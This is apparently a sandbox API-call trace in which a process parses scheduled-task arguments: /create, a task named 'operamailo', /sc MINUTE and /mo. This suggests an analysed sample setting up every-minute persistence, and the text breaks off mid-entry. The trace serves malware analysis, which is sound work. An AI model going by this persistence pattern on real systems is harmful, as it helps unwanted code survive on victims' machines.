[0135.398] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.398] lstrlenW (lpString="ri") returned 2 [0135.398] GetThreadLocale () returned 0x409 [0135.398] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.398] lstrlenW (lpString="z") returned 1 [0135.398] GetThreadLocale () returned 0x409 [0135.398] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.398] lstrlenW (lpString="f") returned 1 [0135.398] GetThreadLocale () returned 0x409 [0135.398] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.398] lstrlenW (lpString="v1") returned 2 [0135.398] GetThreadLocale () returned 0x409 [0135.398] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.398] lstrlenW (lpString="xml") returned 3 [0135.398] GetThreadLocale () returned 0x409 [0135.398] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.398] lstrlenW (lpString="ec") returned 2 [0135.398] GetThreadLocale () returned 0x409 [0135.398] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.398] lstrlenW (lpString="rl") returned 2 [0135.398] GetThreadLocale () returned 0x409 [0135.398] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.399] lstrlenW (lpString="delay") returned 5 [0135.399] GetThreadLocale () returned 0x409 [0135.399] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.399] lstrlenW (lpString="np") returned 2 [0135.399] SetLastError (dwErrCode=0x0) [0135.399] SetLastError (dwErrCode=0x0) [0135.399] lstrlenW (lpString="/create") returned 7 [0135.399] lstrlenW (lpString="-/") returned 2 [0135.399] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0135.399] lstrlenW (lpString="create") returned 6 [0135.399] lstrlenW (lpString="create") returned 6 [0135.399] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.399] lstrlenW (lpString="create") returned 6 [0135.399] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.399] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|create|") returned 8 [0135.399] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|create|") returned 8 [0135.399] lstrlenW (lpString="|create|") returned 8 [0135.399] lstrlenW (lpString="|create|") returned 8 [0135.399] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0135.399] SetLastError (dwErrCode=0x0) [0135.399] SetLastError (dwErrCode=0x0) [0135.399] SetLastError (dwErrCode=0x0) [0135.399] lstrlenW (lpString="/tn") returned 3 [0135.399] lstrlenW (lpString="-/") returned 2 [0135.399] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0135.399] lstrlenW (lpString="create") returned 6 [0135.399] lstrlenW (lpString="create") returned 6 [0135.400] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.400] lstrlenW (lpString="tn") returned 2 [0135.400] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.400] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|create|") returned 8 [0135.400] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|tn|") returned 4 [0135.400] lstrlenW (lpString="|create|") returned 8 [0135.400] lstrlenW (lpString="|tn|") returned 4 [0135.400] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0135.400] SetLastError (dwErrCode=0x490) [0135.400] lstrlenW (lpString="?") returned 1 [0135.400] lstrlenW (lpString="?") returned 1 [0135.400] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.400] lstrlenW (lpString="tn") returned 2 [0135.400] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.400] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|?|") returned 3 [0135.400] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|tn|") returned 4 [0135.400] lstrlenW (lpString="|?|") returned 3 [0135.400] lstrlenW (lpString="|tn|") returned 4 [0135.400] SetLastError (dwErrCode=0x490) [0135.400] lstrlenW (lpString="s") returned 1 [0135.400] lstrlenW (lpString="s") returned 1 [0135.400] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.401] lstrlenW (lpString="tn") returned 2 [0135.401] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.401] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|s|") returned 3 [0135.401] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|tn|") returned 4 [0135.401] lstrlenW (lpString="|s|") returned 3 [0135.401] lstrlenW (lpString="|tn|") returned 4 [0135.401] SetLastError (dwErrCode=0x490) [0135.401] lstrlenW (lpString="u") returned 1 [0135.401] lstrlenW (lpString="u") returned 1 [0135.401] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.401] lstrlenW (lpString="tn") returned 2 [0135.401] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.401] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|u|") returned 3 [0135.401] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|tn|") returned 4 [0135.401] lstrlenW (lpString="|u|") returned 3 [0135.401] lstrlenW (lpString="|tn|") returned 4 [0135.401] SetLastError (dwErrCode=0x490) [0135.401] lstrlenW (lpString="p") returned 1 [0135.401] lstrlenW (lpString="p") returned 1 [0135.401] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.401] lstrlenW (lpString="tn") returned 2 [0135.401] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.401] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|p|") returned 3 [0135.401] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|tn|") returned 4 [0135.401] lstrlenW (lpString="|p|") returned 3 [0135.401] lstrlenW (lpString="|tn|") returned 4 [0135.401] SetLastError (dwErrCode=0x490) [0135.402] lstrlenW (lpString="ru") returned 2 [0135.402] lstrlenW (lpString="ru") returned 2 [0135.402] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.402] lstrlenW (lpString="tn") returned 2 [0135.402] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.402] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|ru|") returned 4 [0135.402] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|tn|") returned 4 [0135.402] lstrlenW (lpString="|ru|") returned 4 [0135.402] lstrlenW (lpString="|tn|") returned 4 [0135.402] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0135.402] SetLastError (dwErrCode=0x490) [0135.402] lstrlenW (lpString="rp") returned 2 [0135.402] lstrlenW (lpString="rp") returned 2 [0135.402] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.402] lstrlenW (lpString="tn") returned 2 [0135.402] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.402] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|rp|") returned 4 [0135.402] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|tn|") returned 4 [0135.402] lstrlenW (lpString="|rp|") returned 4 [0135.402] lstrlenW (lpString="|tn|") returned 4 [0135.402] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0135.402] SetLastError (dwErrCode=0x490) [0135.402] lstrlenW (lpString="sc") returned 2 [0135.402] lstrlenW (lpString="sc") returned 2 [0135.402] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.402] lstrlenW (lpString="tn") returned 2 [0135.403] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.403] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|sc|") returned 4 [0135.403] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|tn|") returned 4 [0135.403] lstrlenW (lpString="|sc|") returned 4 [0135.403] lstrlenW (lpString="|tn|") returned 4 [0135.403] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0135.403] SetLastError (dwErrCode=0x490) [0135.403] lstrlenW (lpString="mo") returned 2 [0135.403] lstrlenW (lpString="mo") returned 2 [0135.403] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.403] lstrlenW (lpString="tn") returned 2 [0135.403] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.403] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|mo|") returned 4 [0135.403] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|tn|") returned 4 [0135.403] lstrlenW (lpString="|mo|") returned 4 [0135.403] lstrlenW (lpString="|tn|") returned 4 [0135.403] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0135.403] SetLastError (dwErrCode=0x490) [0135.403] lstrlenW (lpString="d") returned 1 [0135.403] lstrlenW (lpString="d") returned 1 [0135.403] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.403] lstrlenW (lpString="tn") returned 2 [0135.403] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.403] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|d|") returned 3 [0135.403] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|tn|") returned 4 [0135.403] lstrlenW (lpString="|d|") returned 3 [0135.404] lstrlenW (lpString="|tn|") returned 4 [0135.404] SetLastError (dwErrCode=0x490) [0135.404] lstrlenW (lpString="m") returned 1 [0135.404] lstrlenW (lpString="m") returned 1 [0135.404] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.404] lstrlenW (lpString="tn") returned 2 [0135.404] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.404] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|m|") returned 3 [0135.404] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|tn|") returned 4 [0135.404] lstrlenW (lpString="|m|") returned 3 [0135.404] lstrlenW (lpString="|tn|") returned 4 [0135.404] SetLastError (dwErrCode=0x490) [0135.404] lstrlenW (lpString="i") returned 1 [0135.404] lstrlenW (lpString="i") returned 1 [0135.404] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.404] lstrlenW (lpString="tn") returned 2 [0135.404] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.404] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|i|") returned 3 [0135.404] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|tn|") returned 4 [0135.404] lstrlenW (lpString="|i|") returned 3 [0135.404] lstrlenW (lpString="|tn|") returned 4 [0135.404] SetLastError (dwErrCode=0x490) [0135.404] lstrlenW (lpString="tn") returned 2 [0135.404] lstrlenW (lpString="tn") returned 2 [0135.404] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.404] lstrlenW (lpString="tn") returned 2 [0135.405] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.405] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|tn|") returned 4 [0135.405] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|tn|") returned 4 [0135.405] lstrlenW (lpString="|tn|") returned 4 [0135.405] lstrlenW (lpString="|tn|") returned 4 [0135.405] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0135.405] SetLastError (dwErrCode=0x0) [0135.405] SetLastError (dwErrCode=0x0) [0135.405] lstrlenW (lpString="operamailo") returned 10 [0135.405] lstrlenW (lpString="-/") returned 2 [0135.405] StrChrIW (lpStart="-/", wMatch=0x6f) returned 0x0 [0135.405] SetLastError (dwErrCode=0x490) [0135.405] SetLastError (dwErrCode=0x490) [0135.405] SetLastError (dwErrCode=0x0) [0135.405] lstrlenW (lpString="operamailo") returned 10 [0135.405] StrChrIW (lpStart="operamailo", wMatch=0x3a) returned 0x0 [0135.405] SetLastError (dwErrCode=0x490) [0135.405] SetLastError (dwErrCode=0x0) [0135.405] lstrlenW (lpString="operamailo") returned 10 [0135.405] SetLastError (dwErrCode=0x0) [0135.405] SetLastError (dwErrCode=0x0) [0135.405] lstrlenW (lpString="/sc") returned 3 [0135.405] lstrlenW (lpString="-/") returned 2 [0135.405] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0135.405] lstrlenW (lpString="create") returned 6 [0135.405] lstrlenW (lpString="create") returned 6 [0135.405] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.405] lstrlenW (lpString="sc") returned 2 [0135.406] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.406] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|create|") returned 8 [0135.406] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|sc|") returned 4 [0135.406] lstrlenW (lpString="|create|") returned 8 [0135.406] lstrlenW (lpString="|sc|") returned 4 [0135.406] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0135.406] SetLastError (dwErrCode=0x490) [0135.406] lstrlenW (lpString="?") returned 1 [0135.406] lstrlenW (lpString="?") returned 1 [0135.406] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.406] lstrlenW (lpString="sc") returned 2 [0135.406] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.406] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|?|") returned 3 [0135.406] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|sc|") returned 4 [0135.406] lstrlenW (lpString="|?|") returned 3 [0135.406] lstrlenW (lpString="|sc|") returned 4 [0135.406] SetLastError (dwErrCode=0x490) [0135.406] lstrlenW (lpString="s") returned 1 [0135.406] lstrlenW (lpString="s") returned 1 [0135.406] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.406] lstrlenW (lpString="sc") returned 2 [0135.406] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.406] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|s|") returned 3 [0135.406] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|sc|") returned 4 [0135.406] lstrlenW (lpString="|s|") returned 3 [0135.406] lstrlenW (lpString="|sc|") returned 4 [0135.407] SetLastError (dwErrCode=0x490) [0135.407] lstrlenW (lpString="u") returned 1 [0135.407] lstrlenW (lpString="u") returned 1 [0135.407] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.407] lstrlenW (lpString="sc") returned 2 [0135.407] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.407] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|u|") returned 3 [0135.407] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|sc|") returned 4 [0135.407] lstrlenW (lpString="|u|") returned 3 [0135.407] lstrlenW (lpString="|sc|") returned 4 [0135.407] SetLastError (dwErrCode=0x490) [0135.407] lstrlenW (lpString="p") returned 1 [0135.407] lstrlenW (lpString="p") returned 1 [0135.407] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.407] lstrlenW (lpString="sc") returned 2 [0135.407] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.407] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|p|") returned 3 [0135.407] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|sc|") returned 4 [0135.407] lstrlenW (lpString="|p|") returned 3 [0135.407] lstrlenW (lpString="|sc|") returned 4 [0135.407] SetLastError (dwErrCode=0x490) [0135.407] lstrlenW (lpString="ru") returned 2 [0135.407] lstrlenW (lpString="ru") returned 2 [0135.407] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.407] lstrlenW (lpString="sc") returned 2 [0135.407] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.408] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|ru|") returned 4 [0135.408] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|sc|") returned 4 [0135.408] lstrlenW (lpString="|ru|") returned 4 [0135.408] lstrlenW (lpString="|sc|") returned 4 [0135.408] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0135.408] SetLastError (dwErrCode=0x490) [0135.408] lstrlenW (lpString="rp") returned 2 [0135.408] lstrlenW (lpString="rp") returned 2 [0135.408] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.408] lstrlenW (lpString="sc") returned 2 [0135.408] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.408] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|rp|") returned 4 [0135.408] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|sc|") returned 4 [0135.408] lstrlenW (lpString="|rp|") returned 4 [0135.408] lstrlenW (lpString="|sc|") returned 4 [0135.408] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0135.408] SetLastError (dwErrCode=0x490) [0135.408] lstrlenW (lpString="sc") returned 2 [0135.408] lstrlenW (lpString="sc") returned 2 [0135.408] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.408] lstrlenW (lpString="sc") returned 2 [0135.408] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.408] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|sc|") returned 4 [0135.408] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|sc|") returned 4 [0135.408] lstrlenW (lpString="|sc|") returned 4 [0135.408] lstrlenW (lpString="|sc|") returned 4 [0135.409] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0135.409] SetLastError (dwErrCode=0x0) [0135.409] SetLastError (dwErrCode=0x0) [0135.409] lstrlenW (lpString="MINUTE") returned 6 [0135.409] lstrlenW (lpString="-/") returned 2 [0135.409] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0135.409] SetLastError (dwErrCode=0x490) [0135.409] SetLastError (dwErrCode=0x490) [0135.409] SetLastError (dwErrCode=0x0) [0135.409] lstrlenW (lpString="MINUTE") returned 6 [0135.409] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0135.409] SetLastError (dwErrCode=0x490) [0135.409] SetLastError (dwErrCode=0x0) [0135.409] GetProcessHeap () returned 0x60000 [0135.409] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x18) returned 0x7d530 [0135.409] _memicmp (_Buf1=0x7d530, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.409] lstrlenW (lpString="MINUTE") returned 6 [0135.409] GetProcessHeap () returned 0x60000 [0135.409] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0xe) returned 0x7d550 [0135.409] lstrlenW (lpString="MINUTE") returned 6 [0135.409] lstrlenW (lpString=" \x09") returned 2 [0135.409] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0135.409] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0135.409] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0135.409] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0135.409] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0135.409] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0135.409] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0135.409] GetLastError () returned 0x0 [0135.409] lstrlenW (lpString="MINUTE") returned 6 [0135.410] lstrlenW (lpString="MINUTE") returned 6 [0135.410] SetLastError (dwErrCode=0x0) [0135.410] SetLastError (dwErrCode=0x0) [0135.410] lstrlenW (lpString="/mo") returned 3 [0135.410] lstrlenW (lpString="-/") returned 2 [0135.410] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0135.410] lstrlenW (lpString="create") returned 6 [0135.410] lstrlenW (lpString="create") returned 6 [0135.410] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.410] lstrlenW (lpString="mo") returned 2 [0135.410] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.410] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|create|") returned 8 [0135.410] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|mo|") returned 4 [0135.410] lstrlenW (lpString="|create|") returned 8 [0135.410] lstrlenW (lpString="|mo|") returned 4 [0135.410] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0135.410] SetLastError (dwErrCode=0x490) [0135.410] lstrlenW (lpString="?") returned 1 [0135.410] lstrlenW (lpString="?") returned 1 [0135.410] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.410] lstrlenW (lpString="mo") returned 2 [0135.410] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.410] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|?|") returned 3 [0135.410] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|mo|") returned 4 [0135.410] lstrlenW (lpString="|?|") returned 3 [0135.410] lstrlenW (lpString="|mo|") returned 4 [0135.410] SetLastError (dwErrCode=0x490) [0135.411] lstrlenW (lpString="s") returned 1 [0135.411] lstrlenW (lpString="s") returned 1 [0135.411] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.411] lstrlenW (lpString="mo") returned 2 [0135.411] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.411] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|s|") returned 3 [0135.411] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|mo|") returned 4 [0135.411] lstrlenW (lpString="|s|") returned 3 [0135.411] lstrlenW (lpString="|mo|") returned 4 [0135.411] SetLastError (dwErrCode=0x490) [0135.411] lstrlenW (lpString="u") returned 1 [0135.411] lstrlenW (lpString="u") returned 1 [0135.411] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.411] lstrlenW (lpString="mo") returned 2 [0135.411] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.411] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|u|") returned 3 [0135.411] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|mo|") returned 4 [0135.411] lstrlenW (lpString="|u|") returned 3 [0135.411] lstrlenW (lpString="|mo|") returned 4 [0135.411] SetLastError (dwErrCode=0x490) [0135.411] lstrlenW (lpString="p") returned 1 [0135.411] lstrlenW (lpString="p") returned 1 [0135.411] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.411] lstrlenW (lpString="mo") returned 2 [0135.411] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.411] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|p|") returned 3 [0135.412] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|mo|") returned 4 [0135.412] lstrlenW (lpString="|p|") returned 3 [0135.412] lstrlenW (lpString="|mo|") returned 4 [0135.412] SetLastError (dwErrCode=0x490) [0135.412] lstrlenW (lpString="ru") returned 2 [0135.412] lstrlenW (lpString="ru") returned 2 [0135.412] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.412] lstrlenW (lpString="mo") returned 2 [0135.412] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.412] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c228 | out: _Buffer="|ru|") returned 4 [0135.412] _vsnwprintf (in: 